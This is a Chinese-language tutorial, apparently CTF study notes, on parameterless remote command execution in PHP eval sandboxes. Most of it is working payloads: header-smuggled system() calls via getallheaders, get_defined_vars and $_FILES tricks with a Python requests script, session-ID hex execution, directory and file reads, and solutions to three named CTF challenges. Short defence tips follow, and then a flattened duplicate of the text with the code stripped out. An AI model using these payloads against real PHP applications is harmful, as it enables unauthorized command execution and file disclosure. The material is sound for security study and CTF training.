无参数命令执行学习
字数 1454 2025-08-29 08:32:10

无参数命令执行技术详解

一、无参数RCE基础概念

无参数命令执行(Parameterless RCE)是一种在PHP环境下,当函数调用被限制不能带参数时,仍然能够执行系统命令或读取文件的技术。

典型环境示例

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) {
    eval($_GET['code']);
}
?>

正则表达式分析

/[^\W]+$(?R)?$/ 解析:

  • [^\W]+:匹配字母、数字和下划线(等价于[A-Za-z0-9_])
  • $(?R)?$:递归匹配无参数的函数调用
  • 整体含义:只匹配类似a(b(c()))a()的格式,不匹配带参数的a("123")

二、关键函数分类

目录操作函数

  • getcwd():返回当前工作目录
  • scandir():返回指定目录中的文件和目录数组
  • dirname():返回路径中的目录部分
  • chdir():改变当前目录

数组操作函数

  • end():指向数组最后一个元素
  • next():指向数组下一个元素
  • prev():指向数组上一个元素
  • reset():指向数组第一个元素
  • each():返回当前元素的键名和键值
  • array_shift():删除并返回数组第一个元素
  • array_reverse():反转数组
  • array_flip():交换键值
  • array_rand():随机返回键名

文件读取函数

  • show_source() / highlight_file():语法高亮显示文件
  • readfile():输出文件内容
  • file_get_contents():将文件读入字符串
  • readgzfile():读取文件(包括非gzip格式)

特殊函数

  • getenv():获取环境变量值(PHP7+可不带参数)
  • getallheaders() / apache_request_headers():获取HTTP请求头
  • get_defined_vars():返回所有已定义变量
  • session_start() + session_id():会话控制
  • localeconv():返回本地数字及货币格式信息

三、无参数RCE技术实现

1. 利用HTTP请求头

Payload 1:

GET /1.php?code=eval(end(getallheaders()));
HTTP/1.1
...
flag: system('id');

Payload 2 (PHP7+):

GET /1.php?exp=eval(end(apache_request_headers()));
HTTP/1.1
...
flag: system('id');

2. 利用全局变量

Payload 1:

?code=eval(end(current(get_defined_vars())));&flag=system('ls');

Payload 2:

?flag=phpinfo();&code=print_r(get_defined_vars());

Payload 3 (通过$_FILES):

import requests
files = {"system('whoami');": ""}
r = requests.post('http://target/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

3. 利用会话控制

文件读取:

GET /1.php?code=show_source(session_id(session_start()));
Cookie: PHPSESSID=/flag

命令执行:

GET /1.php?code=eval(hex2bin(session_id(session_start())));
Cookie: PHPSESSID=706870696e666f28293b  # phpinfo()的十六进制

4. 目录遍历技术

读取当前目录:

print_r(scandir(current(localeconv())));
show_source(end(scandir(getcwd())));
show_source(array_rand(array_flip(scandir(getcwd()))));

读取上级目录:

print_r(scandir(dirname(getcwd())));
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

读取根目录:

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

四、CTF实战案例

案例1: [GXYCTF2019]禁止套娃

限制条件:

  1. 过滤伪协议(data://, filter://等)
  2. 只能使用纯小写字母的无参数函数
  3. 过滤et|na|info|dec|bin|hex|oct|pi|log等关键字

解决方案:

  1. 查看目录文件:
?exp=print_r(scandir(current(localeconv())));
  1. 读取flag.php:
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

案例2: [DAS]NoRCE

限制条件:
过滤了o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na等关键字

解决方案:

?exp=die(array_shift(apache_request_headers()));
Header: flag: whoami

案例3: [长安战疫]RCE_No_Para

限制条件:
过滤session|end|next|header|dir等关键字

解决方案:

?flag=system('cat flag.php');&code=eval(pos(reset(get_defined_vars())));

五、防御建议

  1. 严格限制可执行函数的白名单
  2. 禁用危险函数如eval, system等
  3. 对用户输入进行严格过滤
  4. 使用最新版PHP并保持更新
  5. 限制文件系统函数的使用

六、参考资源

  1. PHP无参数函数RCE
  2. 无参数RCE总结
  3. 无参数命令执行详解
无参数命令执行技术详解 一、无参数RCE基础概念 无参数命令执行(Parameterless RCE)是一种在PHP环境下,当函数调用被限制不能带参数时,仍然能够执行系统命令或读取文件的技术。 典型环境示例 正则表达式分析 /[^\W]+\((?R)?\)/ 解析: [^\W]+ :匹配字母、数字和下划线(等价于[ A-Za-z0-9_ ]) \((?R)?\) :递归匹配无参数的函数调用 整体含义:只匹配类似 a(b(c())) 或 a() 的格式,不匹配带参数的 a("123") 二、关键函数分类 目录操作函数 getcwd() :返回当前工作目录 scandir() :返回指定目录中的文件和目录数组 dirname() :返回路径中的目录部分 chdir() :改变当前目录 数组操作函数 end() :指向数组最后一个元素 next() :指向数组下一个元素 prev() :指向数组上一个元素 reset() :指向数组第一个元素 each() :返回当前元素的键名和键值 array_shift() :删除并返回数组第一个元素 array_reverse() :反转数组 array_flip() :交换键值 array_rand() :随机返回键名 文件读取函数 show_source() / highlight_file() :语法高亮显示文件 readfile() :输出文件内容 file_get_contents() :将文件读入字符串 readgzfile() :读取文件(包括非gzip格式) 特殊函数 getenv() :获取环境变量值(PHP7+可不带参数) getallheaders() / apache_request_headers() :获取HTTP请求头 get_defined_vars() :返回所有已定义变量 session_start() + session_id() :会话控制 localeconv() :返回本地数字及货币格式信息 三、无参数RCE技术实现 1. 利用HTTP请求头 Payload 1: Payload 2 (PHP7+): 2. 利用全局变量 Payload 1: Payload 2: Payload 3 (通过$_ FILES): 3. 利用会话控制 文件读取: 命令执行: 4. 目录遍历技术 读取当前目录: 读取上级目录: 读取根目录: 四、CTF实战案例 案例1: [ GXYCTF2019 ]禁止套娃 限制条件: 过滤伪协议(data://, filter://等) 只能使用纯小写字母的无参数函数 过滤et|na|info|dec|bin|hex|oct|pi|log等关键字 解决方案: 查看目录文件: 读取flag.php: 案例2: [ DAS ]NoRCE 限制条件: 过滤了o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na等关键字 解决方案: 案例3: [ 长安战疫]RCE_ No_ Para 限制条件: 过滤session|end|next|header|dir等关键字 解决方案: 五、防御建议 严格限制可执行函数的白名单 禁用危险函数如eval, system等 对用户输入进行严格过滤 使用最新版PHP并保持更新 限制文件系统函数的使用 六、参考资源 PHP无参数函数RCE 无参数RCE总结 无参数命令执行详解